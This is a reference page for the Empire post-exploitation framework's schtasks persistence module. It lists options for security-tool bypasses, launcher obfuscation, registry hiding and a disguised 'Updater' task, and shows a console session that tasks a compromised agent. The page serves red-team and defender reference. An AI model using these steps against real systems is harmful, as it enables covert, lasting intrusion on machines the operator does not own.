Invoke-Schtasks - Empire Module


This page contains detailed information about how to use the powershell/persistence/userland/schtasks Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview


Name: Invoke-Schtasks
Module: powershell/persistence/userland/schtasks
Source code [1]: empire/server/modules/powershell/persistence/userland/schtasks.yaml
Source code [2]: empire/server/modules/powershell/persistence/userland/schtasks.py
MITRE ATT&CK: T1053, S0111
Language: PowerShell
Needs admin: No
OPSEC safe: No
Background: No

The schtasks module persists a stager (or script) using schtasks. This has a moderate detection/removal rating.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the schtasks module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options


This is a list of options that are required by the schtasks module:

Agent
Agent to run module on.

TaskName
Name to use for the schtask.
Default value: Updater.

Additional Module Options


This is a list of additional options that are supported by the schtasks module:

ADSPath
Alternate-data-stream location to store the script code.

Bypasses
Bypasses as a space separated list to be prepended to the launcher.
Default value: mattifestation etw.

Cleanup
Switch. Cleanup the trigger and any script from specified location.

DailyTime
Daily time to trigger the script (HH:mm).
Default value: 09:00.

ExtFile
Use an external file for the payload instead of a stager.

IdleTime
User idle time (in minutes) to trigger script.

Listener
Listener to use.

Obfuscate
Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.
Default value: False.

ObfuscateCommand
The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
Default value: Token\All\1.

Proxy
Proxy to use for request (default, none, or other).
Default value: default.

ProxyCreds
Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
Default value: default.

RegPath
Registry location to store the script code. Last element is the key name.
Default value: HKCU:\Software\Microsoft\Windows\CurrentVersion\debug.

UserAgent
User-agent string to use for the staging request (default, none, or other).
Default value: default.

Schtasks Example Usage


Here's an example of how to use the schtasks module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/persistence/userland/schtasks

 Author       @mattifestation                                                        
              @harmj0y                                                               
 Background   False                                                                  
 Comments     https://github.com/mattifestation/PowerSploit/blob/master/Persistence/ 
              Persistence.psm1                                                       
 Description  Persist a stager (or script) using schtasks. This has a moderate       
              detection/removal rating.                                              
 Language     powershell                                                             
 Name         powershell/persistence/userland/schtasks                               
 NeedsAdmin   False                                                                  
 OpsecSafe    False                                                                  
 Software     http://attack.mitre.org/software/S0111                                 
 Techniques   http://attack.mitre.org/techniques/T1053                               


,Record Options----,-------------------------------------,----------,-------------------------------------,
| Name             | Value                               | Required | Description                         |
|------------------|-------------------------------------|----------|-------------------------------------|
| ADSPath          |                                     | False    | Alternate-data-stream location to   |
|                  |                                     |          | store the script code.              |
|------------------|-------------------------------------|----------|-------------------------------------|
| Agent            |                                     | True     | Agent to run module on.             |
|------------------|-------------------------------------|----------|-------------------------------------|
| Bypasses         | mattifestation etw                  | False    | Bypasses as a space separated list  |
|                  |                                     |          | to be prepended to the launcher.    |
|------------------|-------------------------------------|----------|-------------------------------------|
| Cleanup          |                                     | False    | Switch. Cleanup the trigger and any |
|                  |                                     |          | script from specified location.     |
|------------------|-------------------------------------|----------|-------------------------------------|
| DailyTime        | 09:00                               | False    | Daily time to trigger the script    |
|                  |                                     |          | (HH:mm).                            |
|------------------|-------------------------------------|----------|-------------------------------------|
| ExtFile          |                                     | False    | Use an external file for the        |
|                  |                                     |          | payload instead of a stager.        |
|------------------|-------------------------------------|----------|-------------------------------------|
| IdleTime         |                                     | False    | User idle time (in minutes) to      |
|                  |                                     |          | trigger script.                     |
|------------------|-------------------------------------|----------|-------------------------------------|
| Listener         |                                     | False    | Listener to use.                    |
|------------------|-------------------------------------|----------|-------------------------------------|
| Obfuscate        | False                               | False    | Switch. Obfuscate the launcher      |
|                  |                                     |          | powershell code, uses the           |
|                  |                                     |          | ObfuscateCommand for obfuscation    |
|                  |                                     |          | types. For powershell only.         |
|------------------|-------------------------------------|----------|-------------------------------------|
| ObfuscateCommand | Token\All\1                         | False    | The Invoke-Obfuscation command to   |
|                  |                                     |          | use. Only used if Obfuscate switch  |
|                  |                                     |          | is True. For powershell only.       |
|------------------|-------------------------------------|----------|-------------------------------------|
| Proxy            | default                             | False    | Proxy to use for request (default,  |
|                  |                                     |          | none, or other).                    |
|------------------|-------------------------------------|----------|-------------------------------------|
| ProxyCreds       | default                             | False    | Proxy credentials                   |
|                  |                                     |          | ([domain\]username:password) to use |
|                  |                                     |          | for request (default, none, or      |
|                  |                                     |          | other).                             |
|------------------|-------------------------------------|----------|-------------------------------------|
| RegPath          | HKCU:\Software\Microsoft\Windows\Cu | False    | Registry location to store the      |
|                  | rrentVersion\debug                  |          | script code. Last element is the    |
|                  |                                     |          | key name.                           |
|------------------|-------------------------------------|----------|-------------------------------------|
| TaskName         | Updater                             | True     | Name to use for the schtask.        |
|------------------|-------------------------------------|----------|-------------------------------------|
| UserAgent        | default                             | False    | User-agent string to use for the    |
|                  |                                     |          | staging request (default, none, or  |
|                  |                                     |          | other).                             |
'------------------'-------------------------------------'----------'-------------------------------------'

(Empire: usemodule/powershell/persistence/userland/schtasks) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/persistence/userland/schtasks) > set TaskName Updater
[*] Set TaskName to Updater
(Empire: usemodule/powershell/persistence/userland/schtasks) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Authors


References


See Also


Check also the following modules related to this module:

Version


This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.